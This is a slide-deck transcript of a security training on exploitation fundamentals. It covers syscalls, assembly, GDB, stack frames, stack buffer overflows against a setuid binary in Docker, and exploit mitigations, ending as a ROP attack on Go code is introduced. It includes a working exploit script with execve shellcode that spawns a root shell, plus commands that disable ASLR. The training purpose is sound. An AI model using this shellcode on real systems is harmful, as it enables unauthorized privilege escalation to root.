Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Exploitation Fundamentals - English

Exploitation Fundamentals - English

You can learn how computer works, and how vulnerabilities like buffer stack overflow are attacked. This training explains those using tools like debugger(GDB), and you can check what happens in your eyes.
Repository: https://github.com/rung/training-exploit-fundamentals


Hiroki Suezawa

January 22, 2020


  1. Exploitation Fundamentals 2020 Jan 22th @rung - Mercari Security Team

    Translator: Jason Fernandes English Github Repository: https://github.com/rung/training-exploit-fundamentals
  2. • Name ◦ Hiroki Suezawa (@rung) • Title ◦ Security

    Engineer at Mercari, Inc. ◦ Recently started contributing to open-source projects such as Sysdig Falco and gosec! Like working with protocols such as TLS • Hobbies ◦ Tea ▪ Ruhuna Darjeeling 1st Flush / Nilgiri
  3. Caution • Please do not abuse what you learn from

    this session • These materials are made for software engineers interested in security and lower level programming • These materials contain samples of C, Python, and assembly code. However, there is no need to have a detailed understanding of these languages
  4. Prepareration • Docker ◦ Tested on Mac and Linux(Ubuntu18.04, VM

    works too) ◦ In order to reduce the load on the network please pull the Docker image before the session • IDA Pro Free ◦ Download: https://www.hex-rays.com/products/ida/support/download_freeware.shtml docker pull suezawa/exploit-example1 && docker pull suezawa/exploit-exercise1 && docker pull suezawa/exploit-exercise2 && docker pull suezawa/exploit-exercise3
  5. Cheat sheet • Assembly cheatsheet ◦ NASM Intel x86 Assembly

    Language Cheat Sheet ◦ * We use x64(x86-64) but basically same • CPU Registers cheatsheet ◦ Explanation slides • GDB cheatsheet ◦ Explanation slides ◦ GDB Quick Reference • ASCII code sheet ◦ ascii (man)
  6. Introduction

  7. Introduction Security is fun • Purpose of this session ◦

    To build a deeper understanding of how computers work through the medium of security ▪ The fundamentals of computers haven't changed much. A good understanding of the lower levels, is knowledge that lasts a lifetime. ▪ More so than security, these materials go into depth on the inner workings of computers ◦ To build a deeper understanding of how application vulnerabilities are attacked ◦ Security is fun! You can only learn how to defend by learning how to attack • Who is this session for? ◦ Software engineers interested in security and the lower levels of the stack • This is a advanced session ◦ A part of the content in this session is advanced and may be difficult to understand at first ▪ If you will be interested, You can learn more themselves using this slide ▪ We will work little by little to understand what occurs in Exercise 2 (Stack Buffer Overflow) and Exercise 3 (Advanced) ▪ Some demos include a video to explain what is happening
  8. Introduction What will we do in today’s session? • About

    the attacks we will see today ◦ These attacks aim to take over the controls on processes to allow the execution of malicious code • What will we do? ◦ 1. Introduction ▪ First, I will explain the fundamentals of how computers work. I will use a debugger to follow the commands executed by the computer ◦ 2. Stack Buffer Overflow ▪ Then we will move onto understanding the attacks themselves. We will follow along with what the attacks actually do. ◦ 3. Advanced ▪ I will explain about the attack mitigation mechanisms in place on Modern Linux systems ▪ We will carry out attacks on vulnerable Go code with pre-prepared malicious code • About the hands-on/demos ◦ First, I’ll show you how it’s done
  9. Introduction Environment • Linux x64 (64bit) ◦ Everything we will

    learn in this session is about Linux systems ◦ We will use Docker for Mac *Docker for Windows should work too but I didn’t test it • Github repository for hands-on/demo environment ◦ rung/training-exploit-fundamentals ◦ All the commands introduced in this session will can be run on Docker ▪ Example 1: Hello World! ▪ Exercise 1: Function Call ▪ Exercise 2: Stack Buffer Overflow ▪ Exercise 3: Advanced (ROP)
  10. Introduction (Reference) Environment • Architecture of Docker for Mac ◦

    A VM is launched on the Mac with a Linux kernel running on it ◦ The container communicates with the Linux kernel Mac VM/Hypervisor Linux Kernel Container1 Container2 Container3 ...
  11. Introduction Types of attack • Cybersecurity attack flow ◦ Initial

    access→privilege escalation→discovery(recon)→lateral movement→exfiltration ◦ Reference: MITRE ATT&CK Framework ◦ Tools are often used to exploit known vulnerabilities (Metasploit、Exploit Kit) • In this session we will abuse a Stack Buffer Overflow vulnerability, to take over the controls of a program and run arbitrary code ◦ The execution of arbitrary code is carried out during all stages of the attack ◦ What can this be used for? ▪ Privilege escalation (covered in this session) • Use Setuid to attack binary with high privilege. Obtain root. ▪ Remote code execution (RCE) • Execute code remotely. Run a shell in the server you are connecting to. Company / Cloud
  12. 1. Computer Systems

  13. Computer Systems • For us to understand the attacks used

    in this session, first we need to understand how computers operate • This will be explained in this section
  14. Computer Systems What OS does • Computers are able to

    interactively communicate with people and networks through network adapters and input/output (I/O) devices • Operation systems abstract the physical processes of each device, and provide a common interface for applications Computer CPU Memory External Device I/O Device Storage Device Network OS (Linux Kernel) Application Network Adapter A Storage Device A Storage Device B Keyboard Standard interface Device driver
  15. Computer Systems What OS does Resource Management • Operating systems

    have schedulers and memory management functions to allow for multiple processes to run at the same time OS (Linux Kernel) Application Process1 Application Process2 Application Process3 Application Process3 Scheduling Memory Management
  16. Computer Systems System call (Syscall) Standard Interface (System call) •

    Operating systems have common interfaces known as system calls. Kernel functions (generating processes, providing memory, network communications, file operations, etc.) are executed through the system calls of each application in the user land. ◦ Thus, applications can be used without having to worry about process management, task scheduling, file systems, or the inner workings of each device. OS (Linux Kernel) Process A libc (standard library) System Call Hardware User land Kernel
  17. Computer Systems System call (Syscall) • There are over 300

    system calls for Linux (List) ◦ Run new processes: fork() -> execve() ◦ Network communications: socket() -> connect() ◦ Load files: open() -> read() • What system calls will we use for the attacks in this session? ◦ read loading call for standard input / files / network communication, etc. ▪ read(int fd, void *buf, size_t count); • fd = file descripter • *buf = pointer for where to load (memory address) • count = size to be loaded ◦ execve system call for executing files ▪ int execve(const char *pathname, char *const argv[], char *const envp[]); • *pathname = file path • argv[] = options for execution • envp[] = environment variables
  18. Computer Systems System call (Syscall) - libc • The OS

    has a library for calling system calls ◦ The de facto standard is Glibc (GNU Libc) ▪ For languages that use C such as C, C++, Perl, Python, and Ruby etc. this is the library that is ultimately called ◦ libc provides a wrapper function for calling system calls (man) ▪ long syscall(long number, ...); • number = system call number ◦ Other libc examples: ▪ Core libraries such as stdio.h (printf)、socket.h(socket), etc. ▪ Ultimately these core libraries call a syscall function to communicate with the kernel • When the system call is made it goes into kernel mode and eventually returns to user mode when the process finishes Syscall Process Return Kernel Process User Mode Kernel Mode
  19. Computer Systems [Demo] Let’s see the system call from running

    Hello World • Code that directly calls the Syscall wrapper function ◦ docker run --rm -it suezawa/exploit-example1 bash ▪ Code example • write system call ◦ ssize_t write(int fd, const void *buf, size_t count); ▪ fd = file descriptor, 1 is standard output ▪ buf = pointer to the string ▪ count = size of len(“Hello, world!”) ◦ * the printf function also ultimately calls the write syscall #include <sys/syscall.h> int main() { syscall(SYS_write, 1, "Hello World!\n", 14); return 0; } SYS_write = 1 Hello World!\n\0 (\0 is a null character)
  20. Computer Systems [Demo] Let’s see the system call from running

    Hello World • Run • strace: command for confirming the system call ◦ Confirm all system calls ◦ Confirm just the write system call $ docker run --rm -it suezawa/exploit-example1 bash root@d267406bb2b6:/home/appuser# ./hello Hello World! root@d267406bb2b6:/home/appuser# strace ./hello root@d267406bb2b6:/home/appuser# # strace -e trace=write ./hello write(1, "Hello World!\n\0", 14Hello World! ) = 14 +++ exited with 0 +++
  21. Computer Systems [Demo] Let’s see the system call from running

    Hello World root@42fdb5c98a68:/home/appuser# strace ./hello execve("./hello", ["./hello"], 0x7ffd09c3a070 /* 10 vars */) = 0 brk(NULL) = 0x1639000 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=21467, ...}) = 0 mmap(NULL, 21467, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f183e438000 close(3) = 0 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3 read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\260\34\2\0\0\0\0\0"..., 832) = 832 fstat(3, {st_mode=S_IFREG|0755, st_size=2030544, ...}) = 0 mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f183e436000 mmap(NULL, 4131552, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f183de26000 mprotect(0x7f183e00d000, 2097152, PROT_NONE) = 0 mmap(0x7f183e20d000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1e7000) = 0x7f183e20d000 mmap(0x7f183e213000, 15072, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f183e213000 close(3) = 0 arch_prctl(ARCH_SET_FS, 0x7f183e4374c0) = 0 mprotect(0x7f183e20d000, 16384, PROT_READ) = 0 mprotect(0x600000, 4096, PROT_READ) = 0 mprotect(0x7f183e43e000, 4096, PROT_READ) = 0 munmap(0x7f183e438000, 21467) = 0 write(1, "Hello World!\n\0", 14Hello World! ) = 14 exit_group(0) = ? +++ exited with 0 +++ root@42fdb5c98a68:/home/appuser#
  22. Computer Systems CPU • CPU architecture ◦ Each type of

    CPU architecture has its own unique instruction set ▪ Intel x86、x64(x86-64)、ARM、RISC ◦ For this session we will use the Intel x64 (x86-64)architecture which is the mostly commonly used architecture for modern servers
  23. • Register ◦ Internal memory device for CPU ◦ Each

    register has a size of 64 bits (8 bytes) • Memory addresses (we will go into more detail next) ◦ RIP: Instruction pointer Points to the address of the instruction currently being executed ◦ RSP: Stack pointer. Points to the top stack address ◦ RBP: Base pointer. Points to the start address of the stack frame ◦ Others (RAX, RBX, RCX, RDX, RSI, RDI, R8〜R15) ▪ For now just remember these are addresses that store values Computer Systems CPU Ref: “Introduction to x64 Assembly” Intel Memory machine code 010101010 111101101 010101010 Address (Instraction Pointer Program Counter) RIP Memory (Stack) Stack for function1() Stack Pointer Stack for main() RSP RBP Base Pointer
  24. Computer Systems CPU • Machine Code ◦ The CPU executes

    instruction written to the memory in machine code • Assembly Language ◦ Machine code is difficult for us to work with directly, so assembly language is provided to make it easier for us ◦ Assemble ▪ Assembly code →machine code ◦ Disassemble ▪ Machine code→ assembly code Memory machine code 010101010111101101 010101010101101010 101011011010101010 101101010111010010 110101010101 Execution
  25. Computer Systems CPU • Main Assembly Code ◦ There are

    two forms of syntax (AT&T syntax and Intel syntax). Here we will use Intel syntax ◦ Ref: NASM Intel x86 Assembly Language Cheat Sheet ▪ For Intel x86(32bit) not x64(x86-64, 64bit) but the fundamentals of the cheat sheet are basically the xor A, B Carries out xor of A and B. The result is applied to A mov A, B Move B to A add/sub A, B Add or subtract A to/from B push/pop A Push the value of A to the stack (in memory). Pop the value from the stack call [memory address] Jump to another function and push the return address to the stack. *Used to call functions leave Return the stack to the same address as rbp + pop rbp (mov esp, ebp ; pop ebp) ret Jump to the value at the very top of the stack (rsp) + pop the value at the top of the stack *Used to return to the original function syscall Make system call
  26. Computer Systems [Demo] Let’s see assembly int main() { syscall(SYS_write,

    1, "Hello World!\n", 14); return 0; } $ docker run --rm -it suezawa/exploit-example1 bash root@ab61fa957ebd:/home/appuser# objdump -M intel -l -S -d hello | grep -A12 "<main>:" 00000000004004c2 <main>: main(): 4004c2: 55 push rbp 4004c3: 48 89 e5 mov rbp,rsp 4004c6: b9 0e 00 00 00 mov ecx,0xe 4004cb: ba 74 05 40 00 mov edx,0x400574 4004d0: be 01 00 00 00 mov esi,0x1 4004d5: bf 01 00 00 00 mov edi,0x1 4004da: b8 00 00 00 00 mov eax,0x0 4004df: e8 fc fe ff ff call 4003e0 <syscall@plt> 4004e4: b8 00 00 00 00 mov eax,0x0 4004e9: 5d pop rbp 4004ea: c3 ret
  27. Computer Systems Executable file • The format for the executable

    file type for Linux is ELF root@cbe820491a8f:/home/appuser# file hello.s hello.s: assembler source, ASCII text root@cbe820491a8f:/home/appuser# file hello.o hello.o: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), with debug_info, not stripped root@cbe820491a8f:/home/appuser# file hello hello: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, not stripped Assembly Code .main push rbp mov rbp, rsp mov ecx, 14 mov esi, 1 …. Assemble Source Code #include <sys/syscall.h> int main() { syscall(SYS_write, 1, "Hello World!\n", 14); return 0; } Compile Object file Machine code 01010101001010111010 1100101010101010010 ELF file (Executable) Link Machine code 01010101001010111010 1100101010101010010 Memory Info library info gcc -v -c hello.s -o hello.o Assembler: as (gcc is wrapper) gcc -v hello.o -o hello Linker: ld (gcc is wrapper) gcc -v -S hello.c -masm=intel -o hello.s C Compiler: cc1 • Compilation flow
  28. Computer Systems Executable file • Dynamic Link and Static Link

    ◦ Dynamic Link ▪ Shared Library is stored as a separate file and loaded on execution. ▪ Can display linked libraries with the ldd command ◦ Static Link ▪ Share library execution code is included in the same execution file ELF file (Executable) Machine code 01010101001010111010 1100101010101010010 Memory Info library info libc.so root@86be50368e20:/home/appuser# ldd hello linux-vdso.so.1 (0x00007ffdbc983000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff9c6614000) /lib64/ld-linux-x86-64.so.2 (0x00007ff9c6a05000) root@1e862b573a86:/home/appuser# ldd static_hello not a dynamic executable ELF file (Executable) Machine code (main) 01010101001010111010 1100101010101010010 Memory Info Machine code (libc) 01010101001010111010 1100101010101010010 Dynamic Link Static Link
  29. Computer Systems Program Execution • Program execution ◦ execve("./hello", ["./hello"],

    0x7ffdaccda970) • Loader ◦ The Linux kernel expands the executable file in memory ◦ x64 Machine Code is executed from the very start ▪ Even if the executable is dynamically linked, the shared library content will be loaded into the same virtual memory space on execution Linux Kernel ELF executable Load 0xffffffffffffffff 0x00 Virtual Memory Machine Code(.text Segment) .rodata Segment .bss Segment Heap segment ↓ Stack Segment ↑ main() 0101010101 libc 010010011010100101 .data Segment * Only major segments included
  30. Computer Systems Physical Memory/Virtual Memory • Virtual Memory ◦ The

    CPU uses a mechanism known as virtual memory ◦ Processes do not use physical addresses, instead they only use virtual memory ▪ Multiple processes can use the same memory address ◦ The kernel managed the page table, and handles the allocation of virtual addresses and physical addresses ◦ The CPU has a mechanism for converting between virtual and physical memory (MMU) Linux Kernel Virtual Memory Physical Memory 0-100 700-800 100-200 200-300 200-300 400-500 Page table Process A Process B Process C Manage
  31. Computer Systems Physical Memory/Virtual Memory Process B RIP (instruction pointer)

    RIP (instruction pointer) *GDB is used to check the memory Virtual memory is use so even if it is a different process it can use the same memory address RIP(the command being currently run) shows the same address *even though the address is the same the content is different Process A
  32. Computer Systems Memory Layout Machine Code(.text Segment) .rodata Segment .bss

    Segment Heap segment ↓ Stack Segment ↑ 0xffffffffffffffff 0x00 main() 0101010101 libc 010010011010100101 Contains the machine code executed by the CPU. Address for instruction executed in the RIP(Instruction Pointer) register. Stack address. Extends from high address to low address. See the next page for details. For this demo we will mainly use the ‘text’ segment and ‘stack’ segment dynamic address assigned using malloc() static variables with no initial value / address for global variables static variables with initialized values / global variables * Only major segments included Ref: Data Segment (Wikipedia) .data Segment const, string
  33. Computer Systems [Exercise] What we will do • In Exercise

    1 we will simply observe what happens when a function is executed, and not carry out any kind of attack. ◦ Learning Objective: the stack frame is filled in with each function call. At the end functions are returned to their original function with the ret instruction. ◦ If you can understand what is happening in Exercise 1, you will be able to understand the explanation of the attack we will demo in the next section • Code used ◦ func_call.c ▪ main() • function1() ◦ function2() (this is the order functions are called) # ./func_call Hello function1: arg1:Hello,arg2:1,var1:10 function2: arg1:Hello,arg2:2,var1:test,var2:20
  34. Computer Systems [Exercise] Stack Frame • Function call - case

    of function1() ◦ Use main() to call *function1 command ▪ Functions argument is handed to arg6 through the register ◦ When the call instruction is called, the address that is return is stored in the stack ◦ The RBP value is stored in the stack (push rbp) The top address of the stack is input into RBP (mov rbp, rsp) ◦ As it is a local variable is covered the whole stack address (sub rsp, 0x20) • Function ends - function1() ◦ Returns the stack address (leave) ◦ Returns to the original address(ret) ▪ ret == pop rip Stack Segment ↑ High Address Virtual Memory Low Address Return Address Local Variables main() Return Address Local Variables function1() Ref: System V AMD64 ABI Saved RBP Saved RBP (main()) function(arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8); RDI RSI RDX RCX R8 R9 Use stack RSP RBP
  35. Computer Systems [Exercise] Demo • Demo ◦ Learning Objective: the

    stack frame is filled in with each function call. At the end functions are returned to their original function with the ret instruction. • What I will do ◦ https://github.com/rung/training-exploit-fundamentals/tree/master/exercise1 ◦ docker run --rm --privileged -it suezawa/exploit-exercise1 /bin/bash
  36. Computer Systems [Exercise] Demo • func_call.c #include <stdio.h> #include <string.h>

    void function2(char *arg1, int arg2) { char var1[5]; strcpy(var1, "test"); int var2 = 20; printf(" function2: arg1:%s,arg2:%d,var1:%s,var2:%d\n", arg1, arg2, var1, var2); return; } void function1(char *arg1, int arg2) { int var1 = 10; printf(" function1: arg1:%s,arg2:%d,var1:%d\n", arg1, arg2, var1); function2(arg1, 2); return; } int main() { printf("%s", "Hello\n"); function1("Hello", 1); return 0; }
  37. Computer Systems GDB Tutorial • GDB (GDB Quick Reference) Register

    Machine Code Disassemble Value in the stack (RSP) Source code (Exercise 1 only) ※Displayed if debug information is start Set a breakpoint in main() and run run (r) Run executable continue (c) Continue with execution. Will stop if there is a breakpoint. break(b) *<address> Set breakpoint nexti (ni) Continue with one instruction. Will not jump to another function with the call command stepi (si) Continue with one Runtime gdb <file> Run GDB GDB内
  38. Computer Systems [Exercise] Demo Link GDB with Stack Layout Image

  39. Computer Systems [Exercise] Following a function call • What to

    do ◦ https://github.com/rung/training-exploit-fundamentals/tree/master/exercise1 ◦ docker run --rm --privileged -it suezawa/exploit-exercise1 /bin/bash • Try out GDB commands while thinking about how virtual memory works ◦ 1. Execute the prepared automation script ▪ gdb func_call -x gdb-autocommand ◦ 2. Execute GDB manually ▪ gdb func_call
  40. 2. Stack Buffer Overflow

  41. Stack Buffer Overflow Demo • Now onto the attack demo

    ◦ There is no need to fully understand what is happening at this stage • How to carry out the attack ◦ https://github.com/rung/training-exploit-fundamentals/tree/master/exercise2 ◦ docker run --rm --privileged -it suezawa/exploit-exercise2 /bin/bash • Attack Type ◦ An attack that exploits a Stack Buffer Overflow vulnerability ◦ Takes over the controls of the bof binary set by setuid, to escalate privilege from regular user to root, and execute a shell ▪ setuid: executed with binary owner privilege # ls -l bof -rwsr-sr-x 1 root root 8248 Jan 7 16:44 bof # (setuid)
  42. Stack Buffer Overflow Demo - Attacking using exploit_print.py Link

  43. Stack Buffer Overflow What is Stack Buffer Overflow • Why

    is there a vulnerability? ◦ Functions gets, strcpy, and scanf in C ▪ Write directly to memory without confirming how many bytes ▪ Writes the user’s input beyond the space allowed for local variables to be stored ▪ At the end of the function the return address returned by the ret instruction can be overwritten • → Program controls (RIP) are taken over Stack Segment ↑ High Address Virtual Memory Low Address Return Address Local Variables char buf[100] (100byte) Saved RBP main() gets(), strcpy(), scanf() Write 200byte Payload (Shellcode)
  44. Stack Buffer Overflow How to attack • Attack Code ◦

    A buf array with only 100 bytes, is able to take in a huge number of strings ▪ gets(buf) = standard input is stored in a buf array • Check to see what happens when we enter a huge number of strings ◦ → Controls taken over through inputting attack code into the return address #include <stdio.h> int main() { char buf[100]; setlinebuf(stdout); printf("buf = %p\n", buf); gets(buf); puts(buf); return 0; } # python -c "print ('A'*200)" | ./bof buf = 0x7fffffffe610 AAAAAAAAAAAAAAAA….. Segmentation fault root@b1df66264e7e:/home/appuser#
  45. Stack Buffer Overflow How to attack • How to attack

    ◦ Standard input through gets(buf) to load and send the malicious code ◦ return pointer is sent to the malicious code ▪ In order to make the attack simpler in this example we display the buf address Stack Segment ↑ High Address Low Address Return Address Local Variables char buf[100] (100byte) Shellcode (Payload) in Machine Code AAAAAAAAAAAAAAAAAA Shellcode Address $ ./bof buf = 0x7fffffffe610
  46. Stack Buffer Overflow Exploit #!/usr/bin/python import ... # Write value

    of 'buf = ' buf_addr = int(sys.argv[1], 16) # offset from buf: 120 # shellcode = 60 byte # dummy = 60 byte('A') shellcode = '\x48\x31\xc0\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x50\x49\x89\xe0\x48\x31\xc0\x48\xc7\xc0\x2d\x70\x00\x00\x50\x49\x89\xe1\x4 8\x31\xc0\x50\x41\x51\x41\x50\x49\x89\xe2\x48\xc7\xc0\x3b\x00\x00\x00\x4c\x89\xc7\x4c\x89\xd6\x48\x31\xd2\x0f\x05' shellcode += 'A' * 60 # return address shellcode += struct.pack('<Q', buf_addr) print(shellcode) sys.stdout.flush() # if len(sys.argv) == 2 and sys.argv[1] == "printonly":... (skip) while True: print(sys.stdin.readline()) sys.stdout.flush() exploit_print.py Adjust stack Overwrite Return pointer struct.pack(‘<Q’, ...) = Write 64bit integer by little endian Shellcode
  47. Stack Buffer Overflow Shellcode • Attack code (source code used

    today) ◦ This is often used to call shell(/bin/sh) so is known as “Shellcode” • What are we trying to achieve with Shellcode? ◦ Call syscall(SYS_execve, “/bin/sh”, [“/bin/sh”, “-p”], 0) ▪ By making this call ‘bof’ which is the subject of our attack is converted into/bin/sh ◦ How to make a Syscall ▪ Set the Syscall number and argument in the register, call the ”syscall” instruction ▪ Ref: Interfacing_with_Linux ◦ The ‘syscall’ instruction is called as shown below rax rdi rsi rdx 59 (SYS_execve) “/bin/sh” (pointer) [“/bin/sh”, “-p”] (pointer) 0 (NULL)
  48. Stack Buffer Overflow Shellcode • State of the stack /

    register when syscall is called rax rdi rsi rdx 59 (0x3b) (SYS_execve) “/bin/sh” (pointer) [“/bin/sh”, “-p”] (pointer) 0 (NULL) Registers Stack pointer of “/bin/sh” pointer of “-p” null pointer (\0\0\0\0\0\0\0\0) array ‘-p\0\0\0\0\0\0’ ‘/bin/sh\0’ 64bit
  49. Stack Buffer Overflow Exercise - GDB Demo Link

  50. Stack Buffer Overflow Exercise • Hands-on ◦ Try it yourself

    using the materials below. Make sure to disable ASLR first ▪ I will explain about ASLR in the next section ◦ https://github.com/rung/training-exploit-fundamentals/tree/master/exercise2 • Understanding with GDB (check out the video coming up) ◦ gdb bof -x gdb-autocommand ◦ Pay attention to the following: ▪ After the return pointer is overwritten, controls move the the attack code with the return instruction ▪ The syscall instruction(execve system call) is called by the malicious code • Warning: make sure to renable ASLR when you are done ◦ It is part of the kernel config and will affect other docker images you have running # sysctl -w kernel.randomize_va_space=2 kernel.randomize_va_space = 2 # sysctl -w kernel.randomize_va_space=0 kernel.randomize_va_space = 0
  51. 3. Advanced

  52. Advanced Overview • Section 3: Advanced ◦ Introduction of methods

    to mitigate the vulnerability and some attack methods that bypass this mitigation • Mechanisms to prevent the execution of arbitrary code ◦ Modern Linux and compilers have technology in place to mitigate these kinds of attacks ◦ Improvements were made through a sort of cat and mouse game between attack and defense ◦ * for the Stack Buffer Overflow demo we used a binary with all these mitigation methods disabled • History ◦ OS / compiler ▪ Early 2000’s - Mitigation development and proliferation (introduced in this section) • ASLR, SSP, NX bit, etc... • Proliferated to OS and executable files • Attach researchers and attackers developed attack methods aimed at weak points in these mitigation technologies
  53. Advanced Mitigation • Main mitigation technologies (details on the next

    page) ◦ NX bit (DEP): limits segments that can be executed ◦ ASLR (Address Space Layout Randomization): randomizes memory addresses ◦ PIE (Position-Independent Code): randomizes memory addresses of executable code ◦ SSP (Stack Smashing Protection, Stack Canary): detects overwrite of return pointer ◦ Other examples of protection measures (we won’t go into detail today) ▪ RELRO (RELocation Read-Only): makes memory read-only ▪ FORTIFY_SOURCE: replaces dangerous functions with other functions, and dynamically checks for memory destruction • A tool for checking if these technologies are enabled or not ◦ checksec (explanation) # checksec --file a.out RELRO STACK CANARY NX PIE .... FILE Full RELRO Canary found NX enabled PIE enabled .... a.out
  54. Advanced NX bit(No eXecute bit) / DEP • NX bit

    / DEP ◦ Enable or disable during compilation ◦ ON is the default for GCC ◦ Can only execute code in that specific address • Recap: “2. Stack Buffer Overflow Attack” ◦ If NX bit is enable the shell code cannot be placed in the stack address 0xffffffffffffffff 0x00 Virtual Memory Machine Code(.text Segment) .rodata Segment .bss Segment Heap segment ↓ Stack Segment ↑ main() 0101010101 libc 010010011010100101 .data Segment * Only major segments included No Execute Execute
  55. Advanced ASLR (Address Space Layout Randomization) • ASLR (Address Space

    Layout Randomization) ◦ Set on the OS. Set on by default on modern machines. ◦ Stack address is randomized ◦ Heap address (malloc) is randomized ◦ Address of libraries linked through Dynamic Link randomized (libc, etc.) ◦ Address of executable code and statically linked code contained in ELF files is not randomized • PIE (Position-independent code) ◦ Address of code including executable code contained in ELF files is randomized 0xffffffffffffffff 0x00 Virtual Memory Machine Code(.text Segment) .rodata Segment .bss Segment Heap segment ↓ Stack Segment ↑ main() 0101010101 libc 010010011010100101 .data Segment * Only major segments included randomize
  56. Advanced SSP (Stack Smashing Protection, Stack Canary) • SSP, Stack

    Canary ◦ Enable or disable on compiling ◦ Default is on for GCC ◦ A random canary is placed above the return address and checked before the ret instruction to prevent stack buffer overflow Stack Segment ↑ High Address Virtual Memory Low Address Return Address Local Variables main() Return Address Local Variables function1() Saved RBP Saved RBP (main()) Stack Canary Stack Canary
  57. Advanced C • Default protection mechanism when compiling with gcc

    on Ubuntu18.04 ◦ ASLR is enabled by default (configured on the OS side only) ◦ On modern machines it is a protection mechanism implemented on both the OS and compiler side making it difficult to pull off simple attacks that abuse stack buffer overflow ▪ * There is a countermeasure for each protection mechanism # checksec --file a.out RELRO STACK CANARY NX PIE .... FILE Full RELRO Canary found NX enabled PIE enabled .... hello a.out
  58. Advanced Go • Approach with Go ◦ Doesn’t use libc

    ▪ The assembly code which calls the system calls is implemented into a go library = reimplementation of the features held by libc ◦ Static Link: single binary so not dependent on shared libraries ◦ Security ▪ Checks are carried out on the memory boundary, so you cannot use a stack buffer overflow etc. to break the memory • Confirming protection measures ◦ As memory cannot be altered, Stack Smashing Protection(Stack Canary), PIE(randomization of executable code addresses), etc. are disabled $ bin/checksec --file hello RELRO STACK CANARY NX PIE .... FILE No RELRO No canary found NX enabled No PIE .... hello
  59. Advanced Exercise - Unsafe Library • Exercise ◦ Unsafe libraries

    support the use of raw pointers, therefore the memory can be broken ◦ In the demo “3. Advanced”, we will attack Go code with a buffer overflow vulnerability ▪ Source code ▪ The buffer overflow vulnerability exists in the the memcpy function func main() { buf := make([]byte, 32) stdin := bufio.NewScanner(os.Stdin) stdin.Scan() text := stdin.Text() memcpy(*(*uintptr)(unsafe.Pointer(&buf)), *(*uintptr)(unsafe.Pointer(&text)), len(text)) ... } func memcpy(dst uintptr, src uintptr, len int) { for i := 0; i < len; i++ { *(*int8)(unsafe.Pointer(dst)) = *(*int8)(unsafe.Pointer(src)) dst += 1 src += 1 } } Ref: Extract from the SECCON CTF2017 challenges Stack Buffer Overflow buf[32]
  60. Advanced Demo • In this demo we will show the

    attack used ◦ Don’t worry if you don’t get what is happening straight away • How the attack is done ◦ https://github.com/rung/training-exploit-fundamentals/tree/master/exercise3 ◦ docker run --rm --privileged -it suezawa/exploit-exercise3 /bin/bash • Attack details ◦ This attack is similar to exercise 2 in that it used a Stack Buffer Overflow vulnerability. However, in this case some protection mechanisms are in place ▪ NX bit(DEP) is enabled: can’t carry out attacks on code on the stack ▪ ASLR enabled: stack address etc. is randomized ▪ PIE is disabled: address for executable code in the ELF binary is fixed ▪ SSP(Stack Canary) is disabled: no protection against overwriting the return address ◦ Controls on the baby_stack that has been setuid’ can be taken over, allowing escalation to root and shell execution ◦ Can call execve using an attack method called ROP (Return-oriented programming)
  61. Advanced Demo - Attacking using exploit_print.py Link

  62. Advanced IDA Pro • IDA Pro ◦ A very high

    quality disassembler ◦ Today we will use the free version (IDA Pro Free) ▪ The paid version has scripting support. A decompiler can also be bought separately ◦ In 2019 the NSA released a tool called Ghidra (OSS), this is also a very popular tool • Let’s try using IDA Pro Free to check the Go binary ◦ The Go binary contains syscall.Syscall, a system call wrapper function similar to libc ◦ We will use IDA Pro Free to find syscall.Syscall, and check compilation ◦ → The address for syscall.Syscall is: 0x481E40
  63. Advanced [Demo] IDA Pro Link

  64. Advanced Stack Frame (Go) • The Go stackframe differs from

    C ◦ Go ▪ Arguments • Whole argument is set on stack and handed over • Ref: C hands it to the stack for x86(32bit) ▪ Return values • Set to the stack and return • Can hold multiple return values ◦ C ▪ Arguments • Set to the stack if doing it through the register is insufficient ▪ Return values • Set to the rax register and returned Stack Segment ↑ High Address Virtual Memory Low Address Return Address Local Variables Saved RBP Arguments Return values Return Address Local Variables Saved RBP Arguments Return values function1 function2 Go
  65. Advanced Stack Frame (Go) Stack Segment ↑ High Address Virtual

    Memory Low Address Arguments1: execve(59) Return values syscall. Syscall Arguments2: “/bin/sh” Arguments3: [“/bin/sh”, “-p”] Arguments4: NULL(0x00) Return address Local Values • syscall.Syscall ◦ Attack call: execve(“/bin/sh”, [“/bin/sh”, “-p”], 0x00) ▪ The stack frame will change as shown on the right ◦ As NX bit (DEP) is enable, we are unable to inject shellcode into the stack segment ▪ We call the syscall function contained in the executable file to call the syscall func Syscall(trap, a1, a2, a3 uintptr) (r1, r2 uintptr, err Errno)
  66. Advanced How to attack • How to do the attack

